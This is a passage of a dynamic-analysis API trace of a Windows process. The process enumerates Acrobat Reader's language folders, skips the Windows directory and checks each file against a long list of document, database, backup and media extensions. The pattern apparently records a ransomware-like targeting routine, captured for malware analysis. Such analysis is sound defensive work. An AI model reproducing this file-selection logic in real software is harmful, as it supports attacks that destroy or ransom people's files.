ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0199.541] FindClose (in: hFindFile=0x44207a0 | out: hFindFile=0x44207a0) returned 1 [0199.541] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.541] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0199.541] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu") returned 106 [0199.541] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu") returned 1 [0199.541] lstrlenW (lpString="hu-hu") returned 5 [0199.541] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hu-hu") returned -1 [0199.541] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4505f78 [0199.542] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu") returned 106 [0199.542] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0199.676] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.676] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2013, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.676] lstrlenW (lpString="ui-strings.js") returned 13 [0199.676] lstrlenW (lpString=".1cd") returned 4 [0199.676] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0199.676] lstrlenW (lpString=".3ds") returned 4 [0199.676] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0199.676] lstrlenW (lpString=".3fr") returned 4 [0199.676] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0199.676] lstrlenW (lpString=".3g2") returned 4 [0199.676] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0199.676] lstrlenW (lpString=".3gp") returned 4 [0199.676] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0199.676] lstrlenW (lpString=".7z") returned 3 [0199.677] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0199.677] lstrlenW (lpString=".accda") returned 6 [0199.677] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0199.677] lstrlenW (lpString=".accdb") returned 6 [0199.677] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0199.677] lstrlenW (lpString=".accdc") returned 6 [0199.677] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0199.677] lstrlenW (lpString=".accde") returned 6 [0199.677] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0199.677] lstrlenW (lpString=".accdt") returned 6 [0199.677] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0199.677] lstrlenW (lpString=".accdw") returned 6 [0199.677] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0199.677] lstrlenW (lpString=".adb") returned 4 [0199.677] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0199.677] lstrlenW (lpString=".adp") returned 4 [0199.677] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0199.677] lstrlenW (lpString=".ai") returned 3 [0199.677] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0199.677] lstrlenW (lpString=".ai3") returned 4 [0199.677] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0199.678] lstrlenW (lpString=".ai4") returned 4 [0199.678] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0199.678] lstrlenW (lpString=".ai5") returned 4 [0199.678] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0199.678] lstrlenW (lpString=".ai6") returned 4 [0199.678] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0199.678] lstrlenW (lpString=".ai7") returned 4 [0199.678] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0199.678] lstrlenW (lpString=".ai8") returned 4 [0199.678] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0199.678] lstrlenW (lpString=".anim") returned 5 [0199.678] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0199.678] lstrlenW (lpString=".arw") returned 4 [0199.678] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0199.678] lstrlenW (lpString=".as") returned 3 [0199.678] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0199.678] lstrlenW (lpString=".asa") returned 4 [0199.678] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0199.678] lstrlenW (lpString=".asc") returned 4 [0199.678] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0199.678] lstrlenW (lpString=".ascx") returned 5 [0199.678] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0199.678] lstrlenW (lpString=".asm") returned 4 [0199.678] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0199.678] lstrlenW (lpString=".asmx") returned 5 [0199.678] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0199.678] lstrlenW (lpString=".asp") returned 4 [0199.678] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0199.678] lstrlenW (lpString=".aspx") returned 5 [0199.678] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0199.679] lstrlenW (lpString=".asr") returned 4 [0199.679] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0199.679] lstrlenW (lpString=".asx") returned 4 [0199.679] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0199.679] lstrlenW (lpString=".avi") returned 4 [0199.679] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0199.679] lstrlenW (lpString=".avs") returned 4 [0199.679] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0199.679] lstrlenW (lpString=".backup") returned 7 [0199.679] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0199.679] lstrlenW (lpString=".bak") returned 4 [0199.679] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0199.679] lstrlenW (lpString=".bay") returned 4 [0199.680] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0199.680] lstrlenW (lpString=".bd") returned 3 [0199.680] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0199.680] lstrlenW (lpString=".bin") returned 4 [0199.680] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0199.680] lstrlenW (lpString=".bmp") returned 4 [0199.680] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0199.680] lstrlenW (lpString=".bz2") returned 4 [0199.680] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0199.680] lstrlenW (lpString=".c") returned 2 [0199.680] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0199.680] lstrlenW (lpString=".cdr") returned 4 [0199.680] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0199.680] lstrlenW (lpString=".cer") returned 4 [0199.680] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0199.680] lstrlenW (lpString=".cf") returned 3 [0199.680] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0199.680] lstrlenW (lpString=".cfc") returned 4 [0199.680] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0199.680] lstrlenW (lpString=".cfm") returned 4 [0199.680] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0199.680] lstrlenW (lpString=".cfml") returned 5 [0199.680] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0199.680] lstrlenW (lpString=".cfu") returned 4 [0199.680] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0199.680] lstrlenW (lpString=".chm") returned 4 [0199.680] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0199.680] lstrlenW (lpString=".cin") returned 4 [0199.680] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0199.680] lstrlenW (lpString=".class") returned 6 [0199.680] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0199.681] lstrlenW (lpString=".clx") returned 4 [0199.681] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0199.681] lstrlenW (lpString=".config") returned 7 [0199.681] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0199.681] lstrlenW (lpString=".cpp") returned 4 [0199.681] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0199.681] lstrlenW (lpString=".cr2") returned 4 [0199.681] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0199.681] lstrlenW (lpString=".crt") returned 4 [0199.681] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0199.681] lstrlenW (lpString=".crw") returned 4 [0199.681] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0199.681] lstrlenW (lpString=".cs") returned 3 [0199.681] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0199.681] lstrlenW (lpString=".css") returned 4 [0199.681] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0199.681] lstrlenW (lpString=".csv") returned 4 [0199.681] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0199.681] lstrlenW (lpString=".cub") returned 4 [0199.681] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0199.681] lstrlenW (lpString=".dae") returned 4 [0199.681] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0199.681] lstrlenW (lpString=".dat") returned 4 [0199.681] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0199.681] lstrlenW (lpString=".db") returned 3 [0199.681] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0199.681] lstrlenW (lpString=".dbf") returned 4 [0199.681] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0199.681] lstrlenW (lpString=".dbx") returned 4 [0199.681] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0199.681] lstrlenW (lpString=".dc3") returned 4 [0199.682] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0199.682] lstrlenW (lpString=".dcm") returned 4 [0199.682] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0199.682] lstrlenW (lpString=".dcr") returned 4 [0199.682] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0199.682] lstrlenW (lpString=".der") returned 4 [0199.682] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0199.682] lstrlenW (lpString=".dib") returned 4 [0199.682] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0199.682] lstrlenW (lpString=".dic") returned 4 [0199.682] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0199.682] lstrlenW (lpString=".dif") returned 4 [0199.682] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0199.682] lstrlenW (lpString=".divx") returned 5 [0199.682] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0199.682] lstrlenW (lpString=".djvu") returned 5 [0199.682] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0199.682] lstrlenW (lpString=".dng") returned 4 [0199.682] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0199.682] lstrlenW (lpString=".doc") returned 4 [0199.682] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0199.682] lstrlenW (lpString=".docm") returned 5 [0199.682] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0199.682] lstrlenW (lpString=".docx") returned 5 [0199.682] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0199.682] lstrlenW (lpString=".dot") returned 4 [0199.682] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0199.682] lstrlenW (lpString=".dotm") returned 5 [0199.682] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0199.682] lstrlenW (lpString=".dotx") returned 5 [0199.682] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0199.682] lstrlenW (lpString=".dpx") returned 4 [0199.683] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0199.683] lstrlenW (lpString=".dqy") returned 4 [0199.683] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0199.683] lstrlenW (lpString=".dsn") returned 4 [0199.683] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0199.683] lstrlenW (lpString=".dt") returned 3 [0199.683] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0199.683] lstrlenW (lpString=".dtd") returned 4 [0199.683] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0199.683] lstrlenW (lpString=".dwg") returned 4 [0199.683] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0199.683] lstrlenW (lpString=".dwt") returned 4 [0199.683] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0199.683] lstrlenW (lpString=".dx") returned 3 [0199.683] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0199.683] lstrlenW (lpString=".dxf") returned 4 [0199.683] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0199.683] lstrlenW (lpString=".edml") returned 5 [0199.683] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0199.683] lstrlenW (lpString=".efd") returned 4 [0199.683] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0199.683] lstrlenW (lpString=".elf") returned 4 [0199.683] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0199.683] lstrlenW (lpString=".emf") returned 4 [0199.683] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0199.683] lstrlenW (lpString=".emz") returned 4 [0199.683] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0199.683] lstrlenW (lpString=".epf") returned 4 [0199.683] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0199.684] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.684] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0199.684] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.684] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0199.685] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.685] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0199.685] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.685] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0199.685] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.685] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0199.685] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.685] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0199.686] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.686] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0199.686] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.686] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0199.686] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.686] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0199.686] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.686] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0199.687] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.687] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0199.687] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.687] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0199.688] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.688] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0199.688] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.688] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0199.688] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.688] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0199.688] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.688] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.689] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.689] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, 